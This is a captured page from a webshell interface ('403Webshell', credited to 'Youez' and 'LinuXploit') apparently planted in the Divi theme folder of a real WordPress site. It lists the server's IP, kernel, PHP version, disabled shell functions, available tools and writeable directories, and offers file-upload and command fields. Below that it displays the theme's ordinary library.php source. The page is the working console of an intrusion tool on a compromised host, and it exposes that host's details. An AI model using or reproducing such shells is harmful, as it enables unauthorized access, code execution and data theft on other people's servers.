403Webshell
Server IP : 31.214.178.22  /  Your IP : 216.73.216.223
Web Server : Apache
System : Linux hostingsrv5.dondominio.com 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64
User :  ( 296031)
PHP Version : 8.5.13
Disable Function : system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,mail,eval
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /hosting/www/tecobe.es/public/wp-content/themes/Divi/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /hosting/www/tecobe.es/public/wp-content/themes/Divi/common//library.php
<?php
/**
 * Local library functions.
 *
 * @package \ET\Common
 */

/**
 * Ajax :: Save item to the local library.
 */
function et_library_save_item() {
	et_core_security_check( 'publish_posts', 'et_library_save_item' );

	$post_id = et_save_item_to_local_library( $_POST );

	if ( ! $post_id || is_wp_error( $post_id ) ) {
		wp_send_json_error();
	}

	$post_type = isset( $_POST['post_type'] ) ? sanitize_text_field( $_POST['post_type'] ) : '';

	$data = array();

	switch ( $post_type ) {
		case 'et_theme_options':
			$item_library_local = et_pb_theme_options_library_local();
			$data               = $item_library_local->get_library_items( 'theme-options' );
			break;
	}

	wp_send_json_success( $data );
}

add_action( 'wp_ajax_et_library_save_item', 'et_library_save_item' );

/**
 * Save item to local library.
 *
 * @param array $item Item data.
 */
function et_save_item_to_local_library( $item ) {
	$item_name = $item['item_name'];
	$content   = $item['content'];
	$post_type = $item['post_type'];
	$built_for = isset( $item['builtFor'] ) ? $item['builtFor'] : '';

	$library_post_types = array( ET_THEME_OPTIONS_POST_TYPE, ET_CODE_SNIPPET_POST_TYPE );

	// Only allow to save library post types.
	if ( ! in_array( $post_type, $library_post_types, true ) ) {
		return false;
	}

	$new_post_data = array(
		'post_type'    => $post_type,
		'post_title'   => $item_name,
		'post_content' => $content,
		'post_status'  => 'publish',
	);

	if ( '' !== $built_for ) {
		$new_post_data['meta_input'] = array(
			'_built_for' => $built_for,
		);
	}

	$post_id = wp_insert_post( $new_post_data );

	et_local_library_set_item_taxonomy( $post_id, $item );

	return $post_id;
}

Youez - 2016 - github.com/yon3zu
LinuXploit